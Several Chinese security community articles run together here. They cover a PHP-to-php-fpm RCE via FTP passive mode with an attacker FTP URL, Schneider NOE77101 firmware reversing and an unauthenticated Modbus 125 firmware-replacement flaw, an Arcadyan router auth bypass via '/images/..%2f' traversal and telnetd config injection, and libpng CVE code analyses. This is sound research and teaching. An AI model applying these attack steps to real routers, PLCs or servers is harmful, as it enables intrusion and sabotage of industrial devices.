经过上面的漏洞分析，我们知道我们可以通过 `file_put_contents()` 写入任意数据至 log 文件，然后经
`file_get_contents()` 读回，作者利用这向目标发出 http 请求扫描了通用端口，并发现 php-fpm 在监听端口 9000 。
> php-fpm
>
> php-fastcgi 进程管理器，用于管理 php 进程池的软件，用于接受 web 服务器的请求，它会创建一个主进程，控制何时以及如何将http
> 请求转发给一个或多个子进程处理。
>
> php-fpm 主进程还控制着什么时候创建（处理Web应用更多的流量）和销毁（子进程运行时间太久或不再需要了）PHP子进程。
>
> php-fastcgi 只是一个 cgi 程序，只会解析 php 请求，并且返回结果，不会管理 （因此才出现的 php-fpm）。
综上，也就是说，如果可以向 php-fpm 服务发送任意二进制数据包，就可以在机器上执行代码。这种技术通常与 `gopher://` 协议配合使用，后者由
curl 支持，但 php 不支持。
所以我们需要找到另一个能让我们发送二进制数据包的协议，那就是被动模式下的 ftp ，它可以通过 tcp 连接发送。如果客户机想从 ftp 服务器上读取 /
写入一个文件，ftp 服务器会告诉客户机从某个特定 IP 和端口进行文件操作，IP 和端口并无限制，例如服务器自己的端口。
那么如何使用 ftp 同 php-fpm 对话进行漏洞利用呢？
ftp://evil-server.lexfo.fr/file.txt
我们使用 ftp 协议的被动模式让 `file_get_contents()` 在我们的服务器上下载一个文件，当它尝试使用
`file_put_contents()` 上传文件时，我们让它将文件发送到 127.0.0.1:9000 ，也就是 php-fpm 。
图源自原作者博客。
这样就能发送任意二进制数据包，RCE 。
## 0x03 小结
总结一下知识点：
* phar 反序列化 RCE如果有不了解可以参照这篇文章，非常精简易懂：<https://paper.seebug.org/680/>
* php://filter 多个过滤器配合妙用这个知识点墙裂推荐阅读 p 神的这篇文章：<https://www.leavesongs.com/PENETRATION/php-filter-magic.html>同时这个原作者也提到过 orange 大神出的 hitcon ctf 2018 One Line PHP Challenge 这道题，也用了过滤器，可以阅读一下 wp 学习。
* 使用 ftp 同 php-fpm 对话这个可以参考 hxp-2020 的 resonator 这道题。
感谢你能阅读到这，希望我写得足够清晰，能帮助到你理解这个漏洞。 | 社区文章 |
# 工控安全入门（八）—— 设备驱动与通信分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章中我们将简单了解Vxworks中的设备驱动，并完成固件主逻辑的全部逆向，同时复现该固件最后一个已知漏洞。
文章其实很早就写好了，但由于山东省省赛的原因拖了好几天……给大家道个歉。本篇将是施耐德NOE77101固件的完结篇，之后会分析其他固件，当然随着我的学习也可能对该固件做一些补全，建议阅读前首先阅读专栏其他逆向文章：
<https://www.anquanke.com/subject/id/187300>
## Vxworks的设备驱动
在逆向过程中，我们经常会遇见xxxCreate、xxxDrv、iosDrvInstall之类的函数，这其实都是在对设备进行操作，更恰当的说，是对设备及其驱动进行操作。在上一篇文章中我们详细说明了设备驱动中最为特殊的网络驱动，这篇中我们就对其余的驱动进行简单的介绍，当然我们只是为了方便逆向不是为了编写驱动，对驱动编写有兴趣的可以去查查相关资料。
这里的上层io主要就是我们经常使用的open、write等等已经完全告别底层的接口，io子系统则是分发器兼抽象器，对于不同设备的读写进行进一步分发，对于操作进行抽象后为上层提供好用的接口。向下就是具体的驱动了。
首先是我们最熟悉的字符设备，所谓字符设备即以字节流的方式来读写数据的设备，像是我们平常用的键盘就属于这一类，I2C、SPI、UART等接口也都可以作为字符设备驱动，字符设备受制于字节流的读写方式，我们可以很容易处理数据（都一个一个来了，每次顺序操作即可），所以Vxworks并没有再为我们提供中间层，直接由我们写的驱动来对设备进行操作。
串口设备，实际上串口这个概念非常大，在Vxworks的驱动部分，串口相当于“除了几类特殊串口以外的串口”，对于这类设备因为其广泛性与差异性（串口设备用的多、用法还各有不同），所以Vxworks设置了tty中间层，串口通过，当我们向设备发送数据时，io子系统并不会对我们的数据进行任何处理，而是转给tty中间层，再由该层去找对应的驱动程序来进行具体处理。说到这大家可能就注意到了，串口设备驱动应该要和tty层“认识”，要不然tty如何去找驱动呢？这其实就是一个注册的过程，涉及到了ttyOpen、ttyDevCreate等函数，第一个注册的设备往往就当做了标准输入输出（还记得我们之前分析过程中有个函数更改了标准输入输出后我们才能进行printf操作吗？）
块设备，我们平常用的硬盘就是典型的扩设备，它以数据块的方式进行数据读取，我们往往是在这上面建立文件系统进而对设备进行操作的（像是Windows的ntfs、FAT，Linux的ext4等等），Vxworks主要提供了两种文件系统：
* dosFs，即兼容MS-DOS的文件系统，我们看到的文件结构就类似于windows的形式
* rawFs，不做处理，相当于一整块硬盘就是一个文件
Flash设备，是一种非易失的闪存技术，我们经常用它来存储代码（特别是嵌入式领域，如果你做过iot方面的开发对它就一定不陌生），它实际上还是属于块设备，但是由于其广泛性、特殊性和重要性（用的多、存代码、擦写方式与硬盘有所不同），所以Vxworks为它在块设备文件系统下又加了一个中间层——TFFS（True
Flash File System）。
USB设备，这是非常麻烦的一种设备，因为这种设备往往需要双方协调（比如u盘，u盘内部也需要有硬件、驱动、软件系统，还要和主机端进行协调，最终才可以实现数据传输），我们需要针对硬件、软件做出适配。以下是usb设备的抽象结构：
假设我们用u盘插入设备，那就是如上图的两个USB设备在进行数据交换，很显然需要做好的是连接工作和usb的控制工作，连接我们不必考虑，那主要就是控制器了，我们需要对控制器进行驱动编写，然后往上建立USB栈，这样就完成了整个USB的驱动工作。
对于Vxwork来说，我们经常会看到对于设备的操作（比如xxxDevVCreate），实际上这都是设备和操作系统产生联系，也就是建立上图模型的过程，一般需要：
创建设备——设备初始化——使用设备
而在创建过程中对于不同的设备又包括了将设备注册到io子系统、建立文件系统等等操作，初始化中包含了可选项的初始化、基础设置等等，我们在逆向过程中会看到具体的代码。
## 逆向分析
我们从上一次继续，进入usrAppInit进行下一步的分析
首先是各类的初始化，首先创建了ram设备，也就是我们上面说的块设备，然后在RAM1建立了文件系统，初始化相关设置。然后又建立了tffs设备，也就是flash设备，由于我们之后要从flash设备中读取运行程序、配置信息等重要文件（在后面会提到），一旦建立失败后果严重，所以失败了我们就直接死循环。
接着到了FTP_User_Add函数，我们进入查看，这里为了方便大家理解，我已经修改好了变量名
可以看到首先打开了/FLASH0/ftp/ftp.ini文件，如果失败了，那就添加一个默认的账户（也就是说如果用户没有设置ftp.ini时，我们可以通过该后门用户直接登录）。然后去依次读取ini文件中的用户名、密码，最后进行添加和核对，如果过程中出现了错误就打印相关错误，但是没有设置检查，及时出错也不会导致系统出现问题。
在读取完ftp的ini文件后就会进行ftp的初始化操作，虽然这是Vxworks为我们提供的api，但实际上里面隐含了许多有趣之处，我们进去看看
开始创建了socket，并对socket进行选项设置、bind、listen操作等等，当然还掺杂着一堆信号量的操作来保证同步与互斥，实际上就是实现了网络通信的基础
然后会调用taskSpawn函数来创建新的任务，这个函数我们之前已经说过了，第六个函数就是创建的新任务的”main“函数。这里如果调用失败了debug输出错误信息。从这里开始我们就要”多线操作“了，逆向的工作会稍微复杂一点。
我们可以点进去简单看一下，首先是一堆变量的初始化，有常见的keepintvl、keepidle等等，都是tcp传输中的重要选项，往下则是一个大的while循环，里面还嵌套了一个循环。我们按照逆向循环的一般思路，首先找到循环变量，这里第一个循环是死循环，但是子循环中list_head在一直在通过lstNext在迭代，同时client_inet就等于list_head，也在同步迭代。并且每次拿到拿到client_inet后会做一定的处理。
大循环方面首先是debug输出等待用户连接的提示语，接着以client_info作为socket的连接对象进行accept操作（这里的socket编程就不再多做介绍了），然后会将client的ip转换为我们熟知的形式debug输出，然后到小循环进行下一步。到这我们就大致了解到这就是ftp的连接操作，进一步的分析这里就不再赘述了，毕竟咱是工控入门，不是协议分析。
往下走PortA_Init用来初始化端口，CrashLogStartup则是对于log的设置，rebootHookAdd是我们之前提到过的hook操作，它将重启的操作进行hook，resetHardWare就是hook后的函数，其中也主要是一些设置操作。回到usrAppInit，接着调用的是bpi_init函数
关灯，然后初始化一堆东西，开灯，简洁明了。其中有我们前面非常熟悉的modbus的初始化，此外eos也值得关注，125则是个”特例“，这些东西后面我们会具体来查看。再回到”main“函数。
将power_up_done置为0，然后循环执行new_poll_bp_token函数，power_up_done会在该函数内部进行变化（我们可以通过交叉引用来查看），所以这并不是死循环，我们进入该函数
首先是获取信道2out的状态，和0xff进行”与“操作，看结果是不是0x40，这是在硬件编程中很常用的手段，0x40即对应0000
0100，同于”与“检查state的第三位是否为1，如果是则进入bp_isc_c，不是则调用process_modnet，我们先来看看不是的情况
首先会取得信道1out的信息，然后做一系列时间的操作，最终输出收到modnet
command的时间，然后就是上图中的内容，检查信道1内容的0xb的位置，如果为0x03则读取信息，如果是0x04则写信息，我们这里就选取读信息作为例子来看看，注意这里传入的参数是msg+8（下面使用msg_8表示）。
这里检查msg_8的2、5是否为0x5、0x00，如果不是的话直接调用mbus_err_resp__FP9ERROR_RSPUc，返回值固定为0xd，如果是的话则将msg_6作为地址，并用tickGet函数获取时间，打印相关信息。然后根据地址为1或3进行不同的操作，主要是一系列赋值，1的话会返回0x38，3的话为0x18。
回到new_poll_bp_token，这次我们进入bp_isr_c函数来进行研究。
可以看到通过程序通过token的type来进行分发处理，注意这里power_up_done会因为token_type=1而设置为1，打破了之前的while循环。这里涉及到了modbus、eos、user_logic等多个逻辑，要想全部写完，估计够写好几篇文章的了，我们这里就选择处理modbus消息的这一部分来做简单分析，有兴趣的可以自己尝试分析一下。
首先会检查nb_mb_port是否为0，这个变量代表的就是port的数量，不是的话则拿到端口的列表，循环，循环变量为用来计数的counter和port的结构体，循环内容是检查port_stru的第五项是否为0，并且第一项不能为login_prtnum（最开始为空，后面会变化），如果符合则以port的结构体为参数调用put_mbus_msg。
该函数首先通过dequeue函数，拿到了mbus_queue里的各个msg，操作类似于链表，mbus_queue的每个节点的[0]为之后的msg的数量，[1]为下一个节点，dequeue函数将[1]付给了mbus_msg，然后让mbus_queue的[1]再指向下一个节点。实现了msg的遍历，注意这里没有循环，因为循环的过程是在外面的函数进行的。
然后检查msg的[8]是否小于0x100，不是就直接将整成非法信息了。然后是一系列的检验，不论怎么样实际上我们都是要将传进来的port的结构体赋给局部变量。
往后是我们的port结构体的[6]设置为msg[0]，然后用read_mbus_svars函数，访问内存，取出内容赋给msg。其余的操作较为繁琐，大致就是将消息给存到了别处，并没有做进一步处理。然后再通过port_stry_00作为参数，对该函数进行递归调用。
到这里我们就看完了modbus_port_FV函数，我们回到bp_isr_c，其实这个函数里包含了大量的消息处理函数，但是篇幅所限我们就不再做更进一步的说明了，建议大家可以继续研究。我们继续看”main“函数。
接着的几个函数也是用来做一些初始化工作的，当这些全部完成后，会打印”Starting Root
Task.“，然后通过taskSpawn创建名为NOERoot新任务
该任务首先会打开某个灯，然后会初始化Device Manager（设备管理器），新建一个DM的任务，同时执行用户指定的程序。
DM创建的任务会读取消息后按照消息的种类，实现停止所有指令、重启等操作，可以说是相当于是linux的root权限了。
首先是复制了一个路径，然后将NOEScript拼接，打开，成功了就执行该文件，也就是说该文件就是后面的具体操作了。到此，我们已经完成了对整个固件的主逻辑的全部探索，从一开始的开机、亮灯到最后的root，我们基本都做了介绍，当然还有很多很多地方我们没有分析到，有兴趣的同学可以继续探索。
## modbus_125_handler
我们前面复现了两个洞，实际上该固件一共有三个CVE，但是由于第三个CVE并没有出现在主逻辑里，所以逆向过程中我们没有遇到。
CVE-2011-4861，SchneiderElectricQuantumEthernet模块中的modbus_125_handler函数中存在漏洞。远程攻击者可借助MODBUS125函数代码在TCP502端口上安装任意固件更新。写的很简单，我们来详细看看它到底是怎么回事。
首先会检查拿到消息的function
code是不是125，不是的话会把board_id设置为0x1，是的话会使用switch对code的[2]进行分发，也就是说[2]代表的是子功能码，可以看到内容包括读取硬件id、进入内核模式等等权限极高的操作，但是这还不算是太大的危害，真正可怕的是后面的内容。
当检查到子功能码为6时，会检查指令是否为8，如果是的话即进行下面的操作：首先构造一个a.bin文件的目录的字符串，尝试open，成功则进行合法性校验，然后又开始读取该文件的header，失败则报错，接着尝试进入/FLASH0/wwwroot/conf/exec目录，成功后通过简单的检查确定文件是否为下载的内核bin，是的话进行改名，将a.bin改为新的kernel.bin，最后创建内核更新的任务，打开led灯。
更新任务就是打印了提示语句，然后对任务进行推迟，然后重启。可以看到在整个流程中并没有进行严格的用户检测和固件检测，我们仅仅需要对固件进行简单的处理，然后构造流量包，即可完成对于设备固件的替换，进而导致设备瘫痪或者刷入有漏洞的固件版本进行进一步攻击。 | 社区文章 |
## 简介
这个漏洞源于在玄武实验室的一个漏洞信息中[链接](https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2)
不久前其实看过Buffalo这个品牌的设备，看的时候对其中一些机理就感觉到很奇怪，例如和文章中引起作者好奇的没有cookie这个字段的问题一样，在我看过的设备里其实也没有这个字段，当时也感觉很奇怪。这篇文章作者分析清楚了整个逻辑，整体的挖掘利用流程也确实令人拍手叫绝。
这个设备的官方下载固件包是加密的，设备价格太贵，我到底也没有成功获取作者提到的固件二进制细节进行分析，但是作者的整体流程着实值得好好学习参考，根据[链接](https://www.tenable.com/security/research/tra-2021-13),ASUS的DSL-AC68VG这个设备的5.00.08 build272固件也受影响，因此尝试基于这个设备固件开始了一些分析。
由于作者的分析过程很值得好好学习一下，因此在本篇文章中，我会首先尝试将作者的分析过程半翻译半带自己的思考叙述一遍，然后在简单描述一下自己针对ASUS的DSL-AC68VG这个设备的分析流程，自己针对ASUS的DSL-AC68VG这个设备分析过程中取了一些巧（偷了一些懒），因此主要的二进制分析流程还是放在针对作者分析过程的理解中。
## 作者针对Buffalo WSR-2533DHP3研究流程
### 通过uart获取文件系统
作者获取设备文件系统的方法是买了一个设备，然后通过焊接出ttl端口，进而获得了root shell的方法，最终拿到了设备文件系统。
这个过程在IoT研究中其实是很常规的，通过硬件接线的方法获取设备文件系统也是处理加密固件的常见方法之一。
大概过程就是拆解开设备面板，找到并明确ttl对应的gnd, vcc, tx,
rx几个接口，使用usb转ttl接线就可以获取设备启动信息，在部分设备中直接就可以获取root shell。
这个过程我个人是习惯查看官方文档或者使用万用表来判定几个接口定义的，在文章中，作者使用了[JTAGulator](http://www.grandideastudio.com/jtagulator/)这样一个工具，使用这个工具的好处是不仅可以明确几个接口定义，还可以通过遍历的方法快速拿到波特率的值。
### 明确Httpd 和 Web 界面身份验证
同样是常规思路，作者使用ghidra开始你想httpd这个二进制，作者在程序中找到了 **evaluate_access()** 这个函数。
这一步我猜作者是通过函数的名字以及函数中printf函数带的字符串，猜 **evaluate_access()** 这个函数是用来做访问限制的函数
其中函数 **FUN_0041f9d0()**
是用来判定当前发出请求的IP是否与有效登陆的IP相匹配，然后查看evaluate_access()这个函数的引用，发现被函数
**process_request()** 调用，
可以看到45-48行，这个if是用来判定是否通过认证，因为逻辑语句中间是OR，因此意味着只要 **bypass_check(__dest)**
的结果不为0，即可成功跳过认证，进入 **process_get()** 或者 **process_post()** 的流程。
因此下一步来看看 **bypass_check(__dest)** 的逻辑：
### 使用 bypass_check() 绕过检查
右图可以看到bypass_list的具体列表，包括/login.html, /loginerror.html， /js/, /css/,
/imaegs/等，这是有道理的，因为即使是未经身份验证的用户也需要能够访问这些
url。在比较时使用了strncasecmp,长度为bypass_list中字段的长度，这意味着，我们在访问`http://router/images/someimage.png`这个链接时，不需要认证，所以我们可以考虑，是否尝试`**/images/../<somepagehere>**`这样的url是否能绕过认证呢？通过访问`**/images/..%2finfo.html**`这个url,成功的访问结果证明了猜想可行。
在后面，作者还通过一个错误验证了Referer
字段必须被正确的设置，如果设置成`http://192.168.11.1/images/..%2finfo.html`也是会有错误的，我感觉这个错误其实不是很重要，所以不展开叙述了，总之在正确的设置头参数后，访问`/images/..%2finfo.html`这个url，页面会正常返回：
目前为止，已经可以完成认证前的目录便利，但是发现在请求的时候
在请求中，请求url中还需要有_tn以及 _t两个参数正确设置才能正常访问，其实图里还有一个\_
,但是作者没有提，我猜这个参数存在与否可能与是否能正常访问页面没有关系。
我们通过路径遍历访问的 info.html 页面正在使用 /cgi/ 目录下的 .js 文件中的数据填充其信息表，并传递两个参数。一个是日期时间戳 (
**_t** )，另一个是我们试图找出的 **httoken** 。我们可以看到用于从 /cgi/ 获取信息的链接是使用 **URLToken()**
函数生成的，该函数使用函数 **get_token()** 设置 **httoken** （在本例中为参数 **_tn** **）** ，但
**get_token()** 没有似乎在页面上使用的任何脚本中的任何位置定义。
在 **URLToken()** 定义的正上方，可以看到定义了enkripsi这个奇怪的字符串，通过查找这个字符串名，
// decode way
var head = document.getElementsByTagName("head")[0] || document.documentElement;
var script = document.createElement("script");
script.type="text/javascript";
teks="";teksasli="";
enkripsi=ArcBase.decode(enkripsi);
var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^3) }teksasli=unescape(teks);
script.text=teksasli;
head.insertBefore(script,head.firstChild );
head.removeChild(script);
大概含义就是运行时将以下脚本getToken.js添加到页面：
function getToken(){
var objs=document.getElementsByTagName("img");
var x;
for(var i=0,sz=objs.length;i < sz; i++){
x=objs[i].src;
if(x.indexOf("data:") ==0){
return ArcBase.decode(x.substring(78));
}
}
return "";
}
自此，找到了 **getToken()** 函数，可以看出，他是在页面中获取img字段的值，然后进行解码，最终将这个值作为 **httoken**
，在httpd二进制中可以找到一个函数，其中 **httoken** 被插入到 Ghidra 的 img 标签中
目前已经可以确定
* 向 Web 界面的各个部分发出 GET 和 POST 请求所需的 **httoken** 是在服务器端生成的
* 它们在加载时存储在任何给定页面底部的 img 标签中编码
* 然后在客户端 javascript 中对它们进行解码。
目前，已经可以成功通过从 login.html 获取的令牌向敏感页面发出请求，进行配置更改等敏感操作。
### 注入配置选项并启用 telnetd
其实作者这一步我感觉完全可以做到威胁更大的操作，因为针对普通的IOT设备，认证后逻辑中的命令注入漏洞还是比较常见的，作者采取了一个诸如配置选项进而开启telnetd的效果。但是作者的利用方法还是非常有趣，很值得借鉴。
作者首先尝试抓了一个ping功能的网络包，因为在常规IOT设备中，ping功能中经常出现命令注入的漏洞
然而，在buffalo这个设备中，作者采取ping功能后发现， **ARC_ping_ipaddress**
会存储在全局配置文件中，作者发了一个数据包在ip地址后加了一个换行符以及数据Test Am I A New
Line，然后再配置文件中查找，发现确实成功写入且存在。
因此作者考虑，是否可以覆盖掉一些有趣的配置，进而达到一些有意思的效果，经过查询，发现了 **ARC_SYS_TelnetdEnable=0**
这个配置，可以在设备上启用telnetd，
尚不清楚简单地使用 **ARC_SYS_TelnetdEnable=1** 注入配置文件是否可行，因为随后会在文件中出现一个冲突的设置（因为
**ARC_SYS_TelnetdEnable=0** 在配置文件中出现的低于 **ARC_ping_ipdaddress** ），但是，在 Burp
Suite 中发送以下请求更改配置：
然后再发一个重启的数据包，重新启动完成后，作者发现即可成功telnet设备的23端口进而获取一个root shell。
总结一下整体的攻击流程：
* 从login.html这个无需认证的页面上的 img 标签中获取正确的 **httoken**
* 将这些 **httoken** 与路径遍历结合使用以向 **apply_abstract.cgi** 发出有效请求
* 在对 **apply_abstract.cgi** 的有效请求中，注入 **ARC_SYS_TelnetdEnable=1** 配置选项
* 发送另一个有效请求以重新启动设备
整体流程走完，设备的telnet端口即可被打开，成功连接后即可获取root shell。
## 结合ASUS DSL-AC68VG分析
根据官方公告，ASUS的DSL-AC68VG这个设备的5.00.08
build272固件也受影响，该版本固件很容易在官网上可以下载获得<https://dlcdnets.asus.com/pub/ASUS/wireless/DSL-AC68VG/DSL-AC68VG_v5.00.08_build272.w.zip>
通过binwalk即可常规解压，find命令可以快速查找到httpd程序所在位置
$ find -name httpd
./usr/sbin/httpd
### 定位查找绕过认证函数
拖入IDA,查找在这个设备中对应的 **evaluate_access** 函数，通过检索`%s has already
granted`这个字符串很容易可以找到，并把这个函数重命名为evaluate_access
后边的步骤，偷了个懒，没有根据作者的步骤一步步回溯，我尝试在github中搜索ARC_SYS_LogEnable这个字符串，果然找到了一个相似的匹配[链接](https://github.com/y251615254/ARC_RE_WEB/blob/a5846f621c4be57b5f119507d2f57b7d39d9b53c/bt_SA/httpd/src/plc/vendor_hook.c)
简单把源码和二进制汇编比较了一下，基本匹配，因此下面基本基于源码开展分析。通过ARC_SYS_LogEnable这个字符串，顺利找到对应函数check_auth
check_grant函数正是在检查访问的ip是否时已经授权过的ip
然后我们查看check_auth函数的引用，只找到一处引用，被evalute_access函数引用
可以看到正如作者分析，如果bypass_flag如果不为0，即可绕过check_auth的检查，
查找bypass_flag的引用，发现代码`r->bypass_flag =
bypass_check(r->url);`,bypass_flag是被bypass_check()这个函数赋值的，所以我们去看一下bypass_check这个函数
发现正是在检查url是否与bypass_list匹配
char *bypass_list[] = {
"/images/",
"/lang/",
// "/cgi/", hugh hide it due to security issue
"/js/",
"/css/",
"/setup_top_login.htm",
"/login.htm",
"/loginpserr.htm",
"/login.cgi",
"/3g_conn.xml",
"/top_conn.xml",
"/wireless_calibration.htm",
"/cgi/cgi_login.js",
"/cgi/cgi_autologout.js",
"/internet_paused.htm",
NULL
...
}
### 明晰 **httoken** 处理流程
根据作者的分析，身份验证绕过的漏洞点并不能绕过验证访问任意界面，因为在访问的时候还需要正确的httoken值。根据前面的对照，httoken是在服务器端生成，然后在前端js解码，最终将这个值添加到访问请求中
在代码中找到了以下位置
static int ssi_image_token(struct request_rec *r, int argc, char **argv)
{
int i;
int type; // runsen_lao, log type: 0--system_log 1--security_log
int nbytes = 0;
unsigned long token = 0;
// NzgyMjIwMTU2Cg==
char output_buf[OUT_BASE64_SZ+1] ={0}; // {[0 ... (OUT_BASE64_SZ + 1)] = 0x00};
char *p;
int len=0;
int tid;
if((tid = get_tid()) == MID_FAIL)
return 0;
#ifdef CONFIG_HTTPD_TOKEN_CHECK_SUPPORT
token = httoken_get( r->url?r->url:"/" );
//ht_dbg("token=%lu from %s\n", token, r->url?r->url:"NULL" );
sprintf(output_buf, "%lu", token );
#else
sprintf(output_buf, "123456789"); //hard code
#endif
len=strlen(output_buf);
p=(char *)( output_buf + len+1);
//cprintf("get [%s]\n",output_buf);
b64_encode((unsigned char *)output_buf ,len, (unsigned char *) p, OUT_BASE64_SZ-len);
// NOTE: hugh 2014/2/20
// A Data URI scheme(RFC2397) to present a space GIF icon.
//
// this return a empty gif for present purpuse! but we dirty append our session ID after
// UI need take time to reteieve the sesison ID from "dutrefer" Image Object
//
nbytes += so_printf(r, "<img title=spacer src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7%s\" border=0>", p);
return nbytes;
}
在前端源码中也找到了运行时会添加到页面的代码,这段代码会将服务器端生成的码解码，然后添加到新的请求当中去。
function getToken(){
var objs=document.getElementsByTagName("img");
var x;
for(var i=0,sz=objs.length;i < sz; i++){
x=objs[i].src;
if(x.indexOf("data:") ==0){
return ArcBase.decode(x.substring(78));
}
}
return "";
}
## 总结
本次分析中，没有针对ASUS DSL-AC68VG设备固件进行很详细的分析，借着作者的思路明确这个设备的漏洞利用流程其实也是比较容易的，但是个人认为重要的是作者的研究思路很值得参考，所以主要分析了一下作者的挖掘流程，并加入了一些自己的思考（当然，主要原因还是因为懒）。
从访问页面没有cookie头信息到去探析整个认证授权流程，然后梳理清楚httoken的产生流程，到最后通过在配置中新加入一项配置来达到攻击效果的攻击手段，都很值得借鉴。 | 社区文章 |
# 相关资源
## PNG文件格式文档
http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html
https://www.myway5.com/index.php/2017/11/10/png%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90%E4%B8%8E%E5%8E%8B%E7%BC%A9%E5%8E%9F%E7%90%86/
## 源码下载
http://78.108.103.11/MIRROR/ftp/png/src/history/libpng12/
## 测试样本
https://gitee.com/hac425/data/tree/master/libpng
# CVE-2004-0597
## 分析
漏洞代码
void /* PRIVATE */
png_handle_tRNS(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
{
png_byte readbuf[PNG_MAX_PALETTE_LENGTH]; // 0x100
..........................
..........................
png_crc_read(png_ptr, readbuf, (png_size_t)length);
png_ptr->num_trans = (png_uint_16)length;
readbuf 是一个 0x100字节的缓冲区， length从 png 文件中读取，最大可以为 0x7fffffff , 典型的栈溢出。
测试用例:
trns_stack_bof.png
## 修复
对 length进行校验避免大于 PNG_MAX_PALETTE_LENGTH.
# [CVE-2007-5266](https://www.cvedetails.com/cve/CVE-2007-5266/)
补丁地址
https://sourceforge.net/p/png-mng/mailman/png-mng-implement/thread/[email protected]/
iCCP 的格式
iccp_name字符串+"\x00" + "\x00" + zlib压缩后的数据 endata
endata 解压后的格式
profile_size： 4个字节
## iCCP chunk 处理堆越界（基本无影响）
### 分析
调试环境
ubuntu 16.04 64bit
测试用例
附件\libpng\iccp_memleak*.png
漏洞代码
#if defined(PNG_iCCP_SUPPORTED)
void PNGAPI
png_set_iCCP(png_structp png_ptr, png_infop info_ptr,
png_charp name, int compression_type,
png_charp profile, png_uint_32 proflen)
{
new_iccp_name = (png_charp)png_malloc_warn(png_ptr, png_strlen(name)+1);
png_strncpy(new_iccp_name, name, png_sizeof(new_iccp_name)); //当 name 大于 8 字节时， strncpy 拷贝字符串不会再末尾添0 ， 可能内存泄露
strncpy 的工作为
char* strncpy(char *dest, const char *src, size_t n){
size_t i;
for (i = 0 ; i < n && src[i] != '\0' ; i++)
dest[i] = src[i];
for ( ; i < n ; i++)
dest[i] = '\0';
return dest;
}
1. 如果src的前n个字符里面没有'\0'，那么它不会在末尾补上这个结束符
2. 如果拷贝的数据不满n个字符，那么它会用 '\0' 在末尾填充
漏洞是存在的，无影响的原因是在 linux x64 下分配内存的最小数据块为 0x20 , 可用的数据区域为 0x10.而
png_sizeof(new_iccp_name) 的大小为 8 , 所以不会溢出到其他内存块的数据里面。
### Case1
当 `iccp_name` 的长度大于 `8` 时， `strncpy` 不会再字符串末尾填`\x00`，
后面的使用可能会导致内存数据泄露（比如分配到的的内存块是位于 unsorted bin 中）。
iccp_memleak1.png
**泄露堆块的指针**
### Case2
当 `iccp_name` 的长度小于 `8` 时 , `malloc` 的大小会小于 `png_sizeof(new_iccp_name)` ，
这个会造成越界。
iccp_memleak2.png
**当 iccp_name 为 k\x00 时， 分配 2 字节**
**后面拷贝时会拷贝 8 字节**
### 修复方式
png_strncpy(new_iccp_name, name, png_strlen(new_iccp_name)+1);
总结： strncpy 要小心使用
## sPLT Chunk处理
### 分析
测试用例
附件\libpng\splt.png
sPLT 的数据域的格式
字符串 + '\x00' + entries
entries 的结构
depth， 用来表示每个entry的size: 1字节
entry 数组
entry 的结构
typedef struct png_sPLT_entry_struct
{
png_uint_16 red;
png_uint_16 green;
png_uint_16 blue;
png_uint_16 alpha;
png_uint_16 frequency;
} png_sPLT_entry;
还是 strncpy 的使用， 没有 设置 '\x00' 可能会 leak.
png_set_sPLT(png_structp png_ptr,
png_infop info_ptr, png_sPLT_tp entries, int nentries)
{
to->name = (png_charp)png_malloc_warn(png_ptr,png_strlen(from->name) + 1);
png_strncpy(to->name, from->name, png_strlen(from->name));
假设 `from->name` 为 8 字节
### 修复
png_strncpy(to->name, from->name, png_strlen(from->name)+1);
# [CVE-2007-5269](https://www.cvedetails.com/cve/CVE-2007-5269/)
公告地址
https://sourceforge.net/p/png-mng/mailman/png-mng-implement/thread/[email protected]/
## zTXt
### 分析
测试用例
附件\libpng\ztxt.png
漏洞代码
void /* PRIVATE */
png_handle_zTXt(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
{
png_crc_read(png_ptr, (png_bytep)chunkdata, slength);
if (png_crc_finish(png_ptr, 0))
{
png_free(png_ptr, chunkdata);
return;
}
chunkdata[slength] = 0x00;
for (text = chunkdata; *text; text++)
/* empty loop */ ;
/* zTXt must have some text after the chunkdataword */
if (text == chunkdata + slength - 1)
{
png_warning(png_ptr, "Truncated zTXt chunk");
png_free(png_ptr, chunkdata);
return;
}
首先读取 chunkdata ， 然后末尾填 '\x00'， 然后会在 chunkdata 开始位置找字符串
for (text = chunkdata; *text; text++)
/* empty loop */ ;
后面的判断条件出现了问题
if (text == chunkdata + slength - 1)
当`chunkdata` 中的字符全部都不是'`\x00`' 时， `text` 会等于 `chunkdata + slength`
后面就会越界读了。
### 修复
/* zTXt must have some text after the chunkdataword */
if (text >= chunkdata + slength - 2)
{
png_warning(png_ptr, "Truncated zTXt chunk");
png_free(png_ptr, chunkdata);
return;
}
总结：用 == 号来判断是否出现数组越界是不安全的
## sCAL
测试用例
附件\libpng\scal.png
### 分析
漏洞代码
png_handle_sCAL(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
{
png_crc_read(png_ptr, (png_bytep)buffer, slength);
buffer[slength] = 0x00; /* null terminate the last string */
ep = buffer + 1; /* skip unit byte */
width = png_strtod(png_ptr, ep, &vp);
if (*vp)
{
png_warning(png_ptr, "malformed width string in sCAL chunk");
return;
}
for (ep = buffer; *ep; ep++)
/* empty loop */ ;
ep++;
当 buffer 里面的每个字符都不是 \x00 时， 最后会执行这一部分代码后， ep 会超过分配的内存块的大小，造成越界访问。
### 修复
在后面增加校验
if (buffer + slength < ep)
{
png_warning(png_ptr, "Truncated sCAL chunk");
#if defined(PNG_FIXED_POINT_SUPPORTED) && \
!defined(PNG_FLOATING_POINT_SUPPORTED)
png_free(png_ptr, swidth);
#endif
png_free(png_ptr, buffer);
return;
}
# [CVE-2008-1382](https://www.cvedetails.com/cve/CVE-2008-1382/)
测试用例
附件\libpng\unknown.png
## 分析
漏洞代码
void /* PRIVATE */
png_handle_unknown(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
{
png_uint_32 skip = 0;
png_ptr->unknown_chunk.data = (png_bytep)png_malloc(png_ptr, length);
png_ptr->unknown_chunk.size = (png_size_t)length;
